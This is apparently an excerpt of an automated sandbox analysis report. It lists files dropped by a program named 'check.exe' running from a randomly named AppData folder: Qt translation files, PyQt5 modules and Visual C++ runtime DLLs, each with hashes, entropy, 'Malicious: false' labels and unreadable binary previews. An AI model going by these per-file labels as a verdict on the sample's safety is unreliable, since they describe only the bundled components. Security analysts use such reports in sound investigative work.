Preview:	<.d....!..`.......gd_GBB..2....*...u...+......@.......A...B...B.......C.......D.. ....E.. ....F..!&...G..!J...H..!n...I..!....P..#m...Q..#....R..#....S..$....T..$$...U..$H...V..$....W..$....X..$....Y..%....]../....s...'...t...................F...;.......;../....;..=V...;..G....M../G...O.......O...k......$....}../o.......i...=.......m../....t..........[...(5..M...+;..@...+;..x...+O..:...1...\7..D@...f..E@..#...H4...p..HY..be..H.......IC......J.......J....R..J.......LD......L.......PS......QR..#l..R...g...T.......U.......X....\..Zr......[`......\...&...]x......_....C.._...'t..yg..?...1...BM...E..D.......;.......R'.......t.......@.......?...$..c....[......,...i...y.......y...Y.......f.......+...........9..c....E...............z.."....................%..U....D..................G.....UB.....W......\]...5.......0.......0..<....0...;...0.......5.......5..ij..............h... D..0... D..aC..+....K..<U.....<U...~..<.......H5..0...H5..a...L....1..VE..$...VE..X...V...8\|..f...Z...f...=..

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_he.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	138690
Entropy (8bit):	5.515748942553918
Encrypted:	false
SSDEEP:	3072:XSue8Z7T3iJsqBejt/zNHSLzdetY2ZISfC/S:XSueK3w7Ijt8zUtYAISfC/S
MD5:	DEAF87D45EE87794AB2DC821F250A87A
SHA1:	DB39C6BAA443AA9BB208043EF7FB7E3403C12D90
SHA-256:	E1EBCA16AFE8994356F81CA007FBDB9DDF865842010FE908923D873B687CAD3F
SHA-512:	276FCE81249EFFE19E95607C39F9ACB3A4AFA3F90745DA21B737A03FEA956B079BCA958039978223FD03F75AC270EC16E46095D0C6DDA327366C948EC2D05B9C
Malicious:	false
Preview:	<.d....!..`.......he_ILB../....*......+..Sw...@......A......B.......C.......D...X...E.......F.../...G...O...H...o...I......P.......Q.......R...I...S...i...T......U......V.......W.......X.../...Y...O...]..$....s......t..X:.......4......`Y...;..$....;..%....;.......;...5...;.......M..$....O...6...O..s............}..%-...........=...m...m..%k...t..........^..(5......+;..2...+;..^...+O...N..1.......D@......E@...(..H4..T...HY..L...H..._...IC..\...J...\...J.......J...\j..LD..^...L...^o..PS..fl..QR......R...Q...T...su..U...s...X...x3..Zr..~...[`..L\..\.......]x....._......._....o..yg...(..1...3....E..5C.......z......?V......U.......U.......W....$..M....[..W....,..X....y.......y..\........a..............\@...9..NO...E...?......]s...z...G.......(......^....%..B^...D.._......._.................... ..........5..`/...0.......0...L...0......0..d(...0......5..ek...5..........fB......R... D..&O.. D..K...+...l...<U......<U..p)..<...p...H5..&w..H5..La..L...s...VE......VE......V.....

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_hu.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	160494
Entropy (8bit):	4.831791320613137
Encrypted:	false
SSDEEP:	3072:BmOMZadV9n51xXeQvjOiIzz7/Vs9Db3ihuJNvMfWxBNlYzYbTrIkfwb03l24cNKu:HkWa5pg0MahBHDd
MD5:	E9D302A698B9272BDA41D6DE1D8313FB
SHA1:	BBF35C04177CF290B43F7D2533BE44A15D929D02
SHA-256:	C61B67BB9D1E84F0AB0792B6518FE055414A68E44D0C7BC7C862773800FA8299
SHA-512:	12947B306874CF93ABA64BB46FAC48179C2D055E770D41AF32E50FFFB9F0C092F583AFCEA8B53FE9E238EF9370E9FFFBEB581270DFA1A7CB74EBE54D9BFF459F
Malicious:	false
Preview:	<.d....!..`.......hu_HUB../...........+.......@.......A...0...B...{...C.......D.......E.......F.......G...<...H...`...I.......P...s...Q.......R.......S.......T......U...N...V.......W.......X.......Y.......]..+y...s.......t.......................;..+Q...;..,U...;.......;.......;..&....M..+....O.......O...U..........}..+............=.......m..+....t..........9c..(5..,...+;..;...+;..m7..+O......1...9...D@...T..E@......H4...v..HY..Y...H.......IC......J.......J.......J.......LD......L.......PS...}..QR..!...R...]...T.......U....{..X.......Zr...=..[`......\......]x...-.._......._......yg...M..1...<....E..>...............J........T.......(.......S...$..Z....[.......,...u...y.......y...[...............#...........9..Z....E..#&...........z..!'...................%..Mv...D..._....................32.....5......9....5.......0...h...0...E...0.......0.......0..#....5...Z...5...........G......_2.. D..,... D..W...+....W..<U......<U...B..<.......H5..,...H5..X{..L....)..VE.."...VE..6l..V.....

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_it.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	161172
Entropy (8bit):	4.680034416311688
Encrypted:	false
SSDEEP:	1536:eSfxfdO4BKJb0td5pqCOIUP/PFIM7gxGQ9sRrFM6QJ4m8ihkM:eSfxFO4BKJb0td5pnOrvCqg9mRK4IkM
MD5:	88D040696DE3D068F91E0BF000A9EC3E
SHA1:	F978B265E50D14FDDE9693EC96E99B636997B74D
SHA-256:	7C7DC8B45BF4E41FEC60021AB13D9C7655BE007B8123DB8D7537A119EB64A366
SHA-512:	F042637B61C49C91043D73B113545C383BD8D9766FD4ACC21675B4FF727652D50863E72EA811553CB26DF689F692530184A6CE8FE71F9250B5A55662AFE7D923
Malicious:	false
Preview:	<.d....!..`.......it_ITB../....*.......+.......@.......A..."...B...m...C.......D.......E.......F.......G...0...H...T...I...x...P...q...Q.......R.......S.......T...(...U...L...V.......W.......X.......Y.......]..+....s...'...t...................^...;..+[...;..,g...;.......;.......;..!B...M..+....O...D...O...........(...}..+........I...=.......m..,....t..........4...(5..'...+;..<...+;..oV..+O......1...5...D@...F..E@......H4...J..HY..Z...H.......IC...L..J....s..J....j..J.......LD......L....f..PS......QR..!...R..._...T.......U....3..X.......Zr......[`...Q..\.......]x......_......._....0..yg...C..1...=....E..?o..............Kf.......h.......8.......I...$..[....[.......,...m...y...9...y...........z.......z...........9..\=...E..$u.......:...z.. k...................%..N....D..................M............0......5/...5...2...0.......0...0...0...A...0...)...0..$....5.......5...J.......a......a... D..,... D..Y...+.......<U......<U......<....v..H5..-...H5..Z...L.......VE.."c..VE..1...V....X.

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_ja.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	129911
Entropy (8bit):	5.802855391832282
Encrypted:	false
SSDEEP:	1536:W8YYSCjKBJ26c1Z7f25pVmuLXpxfqt7FEUWNrfQje9kWI23pKXvx:xYuKBJ01Z7u5pQuLbESUWNzAAI23pKfx
MD5:	608B80932119D86503CDDCB1CA7F98BA
SHA1:	7F440399ABA23120F40F6F4FCAE966D621A1CC67
SHA-256:	CBA382ACC44D3680D400F2C625DE93D0C4BD72A90102769EDFD1FE91CB9B617B
SHA-512:	424618011A7C06748AADFC2295109D2D916289C81B01C669DA4991499B207B781604A03259C546739A3A6CF2F8F6DFA753B23406B2E2812F5407AEE343B5CBDD
Malicious:	false
Preview:	<.d....!..`.......jaB../....*...'...+..=....@.......A.......B...?...C...c...D......E......F.......G.......H..."...I...F...P.......Q...'...R...r...S......T......U.......V...8...W...\...X......Y......].."k...s...Q...t..A...............I....;.."C...;..#A...;.......;.......;.......M.."....O...B...O..[?......h....}.."........m...=.......m.."....t...........M..(5......+;......+;..WU..+O......1.......D@......E@...K..H4..>=..HY..F...H...Hr..IC..E...J...F...J.......J...E...LD..Gz..L...G...PS..O...QR......R...K!..T...Z...U...[e..X..._f..Zr..e...[`..7...\...i...]x...'.._......._...j...yg..~+..1.../....E..1?.......#......:.......?.......?n......A....$..G....[..Ap...,..B....y.......y..Ew......\|...............E....9..H....E..........F....z...]..............HL...%..=R...D..H.......I!......[......J......M..........5..It...0...3...0.......0...C...0..M....0...a...5..N....5..........N.......L6.. D..#... D..E...+...U%..<U......<U..X ..<...X...H5..#...H5..FK..L...[...VE......VE......V......f.

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_ko.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	156799
Entropy (8bit):	5.859529082176036
Encrypted:	false
SSDEEP:	1536:rvTy18hhPekHs1iNXVExWbStnn8TExgkYOvYejZOvXx4Mmf0MwUL8smk/pDZyy:y18hJ61nMStnn8TOgknQRLWZmkxNyy
MD5:	082E361CBAC2E3A0849F87B76EF6E121
SHA1:	F10E882762DCD2E60041BDD6CC57598FC3DF4343
SHA-256:	0179ED1B136E1CB3F583351EAA2C545BA3D83A6EE3F82C32505926A1A5F5F183
SHA-512:	F378A42116924E30FA0B8FFF1D3C3CB185DC35B2746DCE2818BE7C2AA95C5DE103DF44AAC74DA969C36C557F1D4DE42AC7647EC41066247F8AD2697BDED667EA
Malicious:	false
Preview:	<.d....!..`.......koB..7...........+.......@...K...A...o...B......C.......D...8...E.......F...U...G...y...H......I.......P......Q.......R.......S...C...T...g...U.......V.......W.......X...-...Y...Q...]..$....s...>...t...................y...;..${...;..%....;...u...;...l...M..$....O.......O...8...........}..$............=...C...m..%!...t...n..........(5...a..+;..E@..+;..l\|..+O......1.......D@.....E@......H4......HY..\...H....]..IC......J.......J....8..J.......LD...a..L.......PS......QR......R...`...T.......U....^..U.......X....y..Zr......[`..y...\....A..]x......_......._....o..yg......1...FJ...E..HE...7..................Q........a.......5...........$..]....[...;...,.......y.......y...V...............!.......\|...9..]....E...R...........z...4.......f.......5...%..Te...D..................D......^................5...S...0.......0.......0.......0.......5.......5...........n......a... D..%... D..[...+.......<?......<U...;..<U...+..<.......H5..&...H5..\...L.......VE......V....A..f.

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_lv.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153608
Entropy (8bit):	4.843805801051326
Encrypted:	false
SSDEEP:	3072:y5pmbKIhooMbGe91MrjOhmGzP6LJbWz5XIxELpU6:yObeqrjPGzeJyJLy6
MD5:	BD8BDC7BBDB7A80C56DCB61B1108961D
SHA1:	9538C4D8BB9A95C0D9DC57C7708A99DD53A32D1F
SHA-256:	846E047573AE40C83671C3BA7F73E27EFC24B98C82701DA0DF9973E574178BB2
SHA-512:	F040EC410EBFEA21145F944E71ADCAE8E5F60907D1D3716A937A9A59A48F70C6B7EAAC91C2C554F59357A7BC820CDBD17C73A4DECC20B51F68EB79EDD35C5554
Malicious:	false
Preview:	<.d....!..`.......lv_LVB..........B...+..y....@.......A...=...B......C......D.......E.......F...#...G...G...H...k...I.......P...~...Q......R.......S.......T...5...U...Y...V......W.......X.......Y.......]..%....s.......t...8.......n.......A...;..&....;.......;...!...;...A...;../....M..%....O.......O...............}..%...........=.......m..&....t...(......(g..(5...+..+;..4...+;..d...+O......1...(...D@...a..E@......H4..z...HY..Q...H.......IC......J....6..J.......J.......LD......L....9..PS......QR......R...U...T....S..U.......X...._..Zr......[`..r...\.......]x....._......._....{..yg......1...5v...E..7........(......B.......\|.......\|W......~r...$..R....[..~....,.......y...l...y...............................9..S....E...g...........z...z...................%..F....D........................"Z.....$......)....5.......0...\...0.......0...r...0.......0.......5...a...5..........J......V... D..&... D..P...+.......<U......<U......<.......H5..'"..H5..P...L....~..VE...R..VE..%...V......

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_pl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	162982
Entropy (8bit):	4.841899887077422
Encrypted:	false
SSDEEP:	1536:sXpestp/YIFtDT8FIWYbIJmPYuIpnmxAk6mwyJNqSm9+P:sxpTDT8FIWfJmdCmxApmbnqSm9+P
MD5:	F9475A909A0BAF4B6B7A1937D58293C3
SHA1:	76B97225A11DD1F77CAC6EF144812F91BD8734BD
SHA-256:	CE99032A3B0BF8ABAD758895CC22837088EAD99FD2D2514E2D180693081CFE57
SHA-512:	8A4F1B802B6B81FF25C44251FB4A880E93E9A5FE25E36825A24BFE0EFB34E764E7E1EE585D3A56554964B7921E7813C67F12D200D6E0C5EAF4BB76B064B5C890
Malicious:	false
Preview:	<.d....!..`.......pl_PLB..0......"....+.......@...F...A...j...B......C.......D...3...E.......F...P...G...t...H.......I.......P.......Q.......R.......S...>...T...b...U.......V.......W.......X...(...Y...L...]......s.......t...r.......o.......+...;......;..+....;..."...;... ...M......O...6...O...........a...}..+...........=.......m..+G...t...G......,...(5......+;..:...+;..k...+O......1...-[..D@.....E@......H4...U..HY..WU..H.......IC......J....6..J.......J.......LD......L....%..PS......QR.. ...R...[...T....1..U.......X......Zr......[`......\.......]x...A.._......._....}..yg......1...;W...E..=........%......H....................$..Xp...[.......,.......y...i...y...........}......$R...........9..X....E..+)...........z.. E...................%..K....D...p....................&......(......-....5.......0.......0...e...0.......0..+....5...]...5...........f......]-.. D..,%.. D..V?..+....V..<U......<U......<....-..H5..,M..H5..V...L....Z..VE..!...VE..)...V.......f...P...f....K..f......

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_ru.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	203767
Entropy (8bit):	5.362551648909705
Encrypted:	false
SSDEEP:	1536:hn4dEJ63pdhPpy6gu5fs4MHQv6sLlxnrncF423ZL9xyuXwdcX8LZuf76CW+WeXFx:aN3pdV5fZbpItXsttRY+WSq
MD5:	5096AD2743BF89A334FBA6A2964300D4
SHA1:	405F45361A537C7923C240D51B0FF1C46621C203
SHA-256:	3DA6605668F9178D11A838C4515478084DCFB4F9CF22F99D7A92B492DB9C224B
SHA-512:	7B88B501792B5831426BAA669138192ED94CC3F8323A3DF9D5287655DC4D877706908C517AB7523AE8A283BF50B47123F13B8AE40EA2F3081C3459EDC47FC8DD
Malicious:	false
Preview:	<.d....!..`.......ru_RUB..7.......L...+...W...@..,....A..,....B..-1...C..-U...D..-....E...r...F.......G.......H../....I../8...P..1'...Q..1K...R..1....S..1....T..1....U..2....V..2\...W..2....X..2....Y..2....].......s..$c...t...'......%........r...;..-....;.......;..J....;..V....M...C...O.......O..&.......8....}...m......+3...=..+....m.......t..+.......p...(5..]@..+;..[0..+;......+O..H...1...qM..D@..-...E@..1o..H4...p..HY..xm..H......IC...@..J....g..J.......J.......LD......L....p..PS......QR..!...R...}...T...&...U...'...U...ki..X...+...Zr..3...[`......\...:...]x..)..._......._...;...yg..S...1...\....E..__...7.........H.......k................j.......U...$..y....[.......,.......y...k...y...............................9..y....E...O...........z..!*...................%..nW...D.................%w.....g......j~.....qw...5...H...0.......0..I....0..._...0......5.......5..................~... D../k.. D..wa..+....?..<?.."t..<U......<U.."...<...#z..H5../...H5..w...L...&...VE.."...V...F$.

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_sk.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	125763
Entropy (8bit):	4.80343609423322
Encrypted:	false
SSDEEP:	3072:roXDuC1u/2lUBGjJirE5tsd/aev1GIfOdvhw:OucMGjH5tbm
MD5:	3D60E50DCBCBD70EE699BC9B1524FCB9
SHA1:	0211B4911B5B74CC1A46C0FCA87D3BF5632AA44A
SHA-256:	D586AE2C314074CF398417FDECB40709D5478DFEB0A67C2FE60D509EE9B59ED7
SHA-512:	F98211867F1DBCB8A342C00E23FA5718BE6E999F7449CB8470B41BF0F527C7F78CC4D6666E28968F32E96026907156753979BFADA7E6BF4225D02A902D24906D
Malicious:	false
Preview:	<.d....!..`.......sk_SKB..$x...*.......+..>....@......A......B.......C.......D...3...E...Z...F......G......H.......I.......P.......Q...D...R.......S......T.......U.......V...1...W...X...X.......Y......]...Y...t..D-......K....;...3...;.......;.......;......;...V...M.......O.._ ......l....}.......m...........T..(5...(..+;......+;..%...+O......1......E@...k..F.......H4..?I..HY..@7..H...J...I....,..IC..HT..J...H{..J...H...LD..J"..L...Jv..PS..Q...R...D...Zr..i]..[`..7...\...nB.._...o...1...&....E..(........B......19......A.......A....$..AF...[..C....,..D....y..G.......v........g......G....9..A....E..........IH...%..4.......Kf..............................5..K....0...,...0.......0.......0..Of...0.......5..P....5..........E... D...C.. D..?'..+...Y`..<U......<U..\...<...]...H5...m..H5..?...L...^...VE......f.......f...8...g.......l...aP.......................6......d....D..f(...`..f...............?....`..h5...y..H....5..j........E...e.......e..@....... ......>......oZ......l..

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_tr.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	194487
Entropy (8bit):	4.877239354585035
Encrypted:	false
SSDEEP:	3072:yRRhAFCvqDBitD/iDG9AOH+l4TcwZBPqHo9fd9CFRK+2IKAimxsjucV2p0ZqvRu7:yRRHs5mksWVX3lA3
MD5:	6CBC5D8E1EABEC96C281065ECC51E35E
SHA1:	4E1E6BA3772428227CB033747006B4887E5D9AD1
SHA-256:	6A0BF6E70E7920C2B193E76E92F78F315936955D3B06AC039D917F2E06C43281
SHA-512:	CE1F9EE180176153D5F523D71E0DB06F4DEA65C24E5E2CD56341CFAEE349A8E9A0F606D99F7219A35DD4516D1528C90AEA4BB87548A55392B8F2B36164D478B1
Malicious:	false
Preview:	<.d....!..`.......tr_TRB..7....*.......+...-...@.......A.......B.......C...%...D.......E...F...F.......G.......H.......I.......P.. ....Q.. ....R..!D...S..!h...T..!....U..!....V.."....W.."0...X.."T...Y.."x...]..,g...s.../...t......................;..,9...;..-I...;..9@...;..E....M..,....O.......O...G...........}..,............=...\...m..,....t.........._3..(5..LJ..+;..Wt..+;...\..+O..7...1..._...D@......E@..!...H4...@..HY..t...H....2..IC...r..J......J....D..J....K..LD...$..L....x..PS......QR..!...R...x...T.......U....q..U...Y...X...."..Zr...%..[`......\....:..]x......_......._.......yg..6...1...X....E..[....7...Z......7Q......f............................$..u....[...:...,...5...y.......y...........7...............!...9..u....E...........P...z.. ........p...........%..j....D..................A.....U......Y......_....5...V...0.......0..8....0...U...0.......5.......5..~b..............z+.. D..-... D..s...+.......<?...8..<U...s..<U...p..<.......H5..-...H5..s...L.......VE.."0..V...4..

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_uk.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	158274
Entropy (8bit):	5.402056706327934
Encrypted:	false
SSDEEP:	1536:jXwjFVUDdMUD4TzdAhpQgO5poZHvJllEnhmdK4I77/dnPJX/imfb1jhvv3BxT8ue:jBzD4Tzaw5pCvJ8hVPdlvj3p8
MD5:	D6234E4E21021102B021744D5FA22346
SHA1:	63A14327D0CF0941D6D6B58BFA7E8B10337F557B
SHA-256:	51B8FF55B37DC5907D637A8DDDA12FBE816852B0244C74EB4F0FB84867A786E0
SHA-512:	37D24A092C5F29BACB7A4CA8207C4EEFD0F073B7E74A492402867F758084091BF1D79D2BA2B4A28B35FEF42E8023C371FDE97578F74BB2033551154E77102DE6
Malicious:	false
Preview:	<.d....!..`.......uk_UAB../.......E...+...l...@.......A.......B...G...C...k...D.......E.......F.......G.......H......I...N...P...=...Q...a...R.......S.......T.......U.......V...r...W.......X.......Y.......]..y...s.......t...........;.......n...;..Q...;..+U...;.......;...x...;..!(...M......O.......O...........6...}..........E...=.......m..*....t..........3...(5..&...+;..:...+;..k0..+O...A..1...4-..D@... ..E@......H4...8..HY..W...H....2..IC...V..J....}..J.......J....%..LD...&..L....z..PS......QR.. ...R...\...T....(..U.......X.......Zr......[`..~...\.......]x......_......._....4..yg...c..1...;....E..=w.......m......I............................$..X....[...<...,.......y.......y...........M...................9..Y....E...F.......D...z.. ........P...........%..LB...D.......................-n...../......4W...5...F...0...p...0...W...0.......0...k...0.......5.......5..................^... D..+... D..V...+.......<U.../..<U......<....>..H5..+...H5..V...L....S..VE..!...VE..0...V......

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qtbase_zh_TW.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	127849
Entropy (8bit):	5.83455389078597
Encrypted:	false
SSDEEP:	3072:Fv2cHP10gOs6dcFxsJopMqOWv2WIrPFP8pa:Fh6s6iFxEodjef8pa
MD5:	9C6A3721D01ECAF3F952CE96F46CE046
SHA1:	4A944E9E31DF778F7012D8E4A66497583BFD2118
SHA-256:	085D29EAF9BBB788B2F2503D74A1EF963A9411CEB600441254CE49A120E1AB63
SHA-512:	6E2807B8785F42A26C9CCBDBA0327DD40B529B10C468593F0E74113774D1CCDAA4FD9ACE9B259B9040E1475911428ECAEA49425B0F170862CF8147D23DB48E46
Malicious:	false
Preview:	<.d....!..`.......zh_TWB..2x..........+..)....@.......A.......B...j...C......D.......E......F.......G...)...H...M...I...q...P...%...Q...I...R......S......T.......U.......V...Z...W...~...X......Y.......]..!....s.......t..-...............4....;..!z...;.."\|...;.......;.......M..!....O.......O..Ay......N)...}..!............=.......m.." ...t...(.........(5......+;..;...+;.._...+O......1.......D@...C..E@...m..H4..W..HY..Pm..H...3...IC..1...J...1...J.......J...1...LD..2...L...38..PS..6...QR...T..R...T...T...A...U...A...X...E...Zr..K...[`..$...\...OW..]x......_......._...P...yg..a^..1...<....E..>....7...>.......;......Fo......+.......+.......-L...$..QR...[..-....,...F...y.......y..1J...............6......1p...9..Q....E..........2....z...........<......3....%..H....D..4W......4}....................Z...... ...5..4....0...?...0...K...0..5....0...L...5..6....5..........6.......U... D.."... D..O...+...<%..<U......<U..>...<...?:..H5..#...H5..O...L...AS..VE...M..VE......V.......f...L..

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\QtCore.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2483712
Entropy (8bit):	6.241719144701645
Encrypted:	false
SSDEEP:	49152:ZYS8YHrNj4/7RsRLvYpiW3pCBU+Z7bJWvCSBYgbxGJ5M2GM/fXR1fUdihfSbCo6e:9bpj4/7RsRLvYpiW3pCBU+Z7bJWvCSBv
MD5:	678FA1496FFDEA3A530FA146DEDCDBCC
SHA1:	C80D8F1DE8AE06ECF5750C83D879D2DCC2D6A4F8
SHA-256:	D6E45FD8C3B3F93F52C4D1B6F9E3EE220454A73F80F65F3D70504BD55415EA37
SHA-512:	8D9E3FA49FB42F844D8DF241786EA9C0F55E546D373FF07E8C89AAC4F3027C62EC1BD0C9C639AFEABC034CC39E424B21DA55A1609C9F95397A66D5F0D834E88E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........}.........../....td./..../...td./...td./...td./...n../...1../......P...c./....c./....c./...Rich...........................PE..d....p.f.........." ...(............+.......................................0&...........`.............................................L.....................#.$.............%.... t.......................t..(....r..@............@..(o...........................text...~(......................... ..`.rdata..x....@......................@..@.data...h...........................@....pdata..$.....#......n#.............@..@.reloc.......%......L%.............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\QtGui.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2494976
Entropy (8bit):	6.232020603277999
Encrypted:	false
SSDEEP:	24576:SUjOoTFrwI8nc6EmRAQ9RzgpP2bXYUKuXeLQp5PjYq0zb:SUqCgnZXRAQ9RzggbozJLQp5Mq
MD5:	AE182C36F5839BADDC9DCB71192CFA7A
SHA1:	C9FA448981BA61343C7D7DECACAE300CAD416957
SHA-256:	A9408E3B15FF3030F0E9ACB3429000D253D3BB7206F750091A7130325F6D0D72
SHA-512:	8950244D828C5EDE5C3934CFE2EE229BE19CC00FBF0C4A7CCEBEC19E8641345EF5FD028511C5428E1E21CE5491A3F74FB0175B03DA17588DAEF918E3F66B206A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......... j..sj..sj..sc..sn..s.p.rh..s1..rh..s.p.ri..s.p.rb..s.p.r...s...rh..s..ro..sj..s...syw.ra..syw.rk..syw.rk..sRichj..s........PE..d....p.f.........." ...(.....................................................P&...........`.........................................`&..L....&................$...............%.....................................p...@...............@{...........................text...O........................... ..`.rdata..............................@..@.data...xz.......^...t..............@....pdata........$.......#.............@..@.reloc........%......^%.............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\QtWidgets.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5144576
Entropy (8bit):	6.262739223310643
Encrypted:	false
SSDEEP:	49152:Qi+reIG7QwktsFPKoe2yicbbqgkcY9abW7KnTYK2bjMkTDGM7y:uqT7Q1kyTvoWW7EYvM9M
MD5:	E8C3BFBC19378E541F5F569E2023B7AA
SHA1:	ACA007030C1CEE45CBC692ADCB8BCB29665792BA
SHA-256:	A1E97A2AB434C6AE5E56491C60172E59CDCCE42960734E8BDF5D851B79361071
SHA-512:	9134C2EAD00C2D19DEC499E60F91E978858766744965EAD655D2349FF92834AB267AC8026038E576A7E207D3BBD4A87CD5F2E2846A703C7F481A406130530EB0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................=....1M............1M.....1M.....1M.....+......t.............J......J......J.....Rich...........................PE..d....p.f.........." ...(..,...!.....P.,.......................................N...........`..........................................><.T...D?<...............H..z...........pM..O..Pa8..............................`8.@.............,..............................text.....,.......,................. ..`.rdata........,.......,.............@..@.data... :....A.......A.............@....pdata...z....H..\|....H.............@..@.reloc...O...pM..P...0M.............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\sip.cp313-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	120320
Entropy (8bit):	6.034057886020456
Encrypted:	false
SSDEEP:	1536:pPd5NTdYgpmMrZhekwFH4PqgZNBQmT6V6WRFYE9Icx7pz4H5B:NhTdtmMdEkwuFTSvYE9Iczz4H5
MD5:	4F7F9E3A9466F4C0103FB04E1987E098
SHA1:	D4A339702E936AA5ECC1FE906AE2BA3BB0E481D7
SHA-256:	EBF27146466D61411493D2E243EAC691740F9C4B7A4B9AB0D408BE45B5E0AA35
SHA-512:	920BA8D58DCA7946341C1CC01FEA0B76CCE008F1D10061F84455A3DE9BA00FD9534F40C983486211BE92B85F786CD610C386529711A6F573A02BFAF8CA543A19
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........kSR...R...R...[...Z....X..P.......P....X..Q....X..Z....X.._....^..Q...R.......G_..[...G_..S...G_..S...G_..S...RichR...........PE..d.... g.........." ...(.H...........J.......................................0............`.............................................X...h................................ ..........................................@............`...............................text...(G.......H.................. ..`.rdata..lU...`...V...L..............@..@.data.... ..........................@....pdata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	120400
Entropy (8bit):	6.6017475353076716
Encrypted:	false
SSDEEP:	1536:N9TXF5LLXQLlNycKW+D4SdqJk6aN1ACuyxLiyazYaCVoecbdhgOwAd+zfZ1zu:N9jelDoD9uyxLizzFzecbdPwA87S
MD5:	862F820C3251E4CA6FC0AC00E4092239
SHA1:	EF96D84B253041B090C243594F90938E9A487A9A
SHA-256:	36585912E5EAF83BA9FEA0631534F690CCDC2D7BA91537166FE53E56C221E153
SHA-512:	2F8A0F11BCCC3A8CB99637DEEDA0158240DF0885A230F38BB7F21257C659F05646C6B61E993F87E0877F6BA06B347DDD1FC45D5C44BC4E309EF75ED882B82E4E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\=..\...\...\..S$...\...$...\...\..5\...\...\.....\.....\.....\.....\......\.....\..Rich.\..........PE..d.....x.........." ...).$...d............................................................`A........................................0u..4...d}..........................PP...........^..p............................\..@............@...............................text............................... ..`fothk........0...................... ..`.rdata...C...@...D...(..............@..@.data................l..............@....pdata...............p..............@..@_RDATA...............\|..............@..@.rsrc................~..............@..@.reloc..............................@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\VCRUNTIME140_1.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
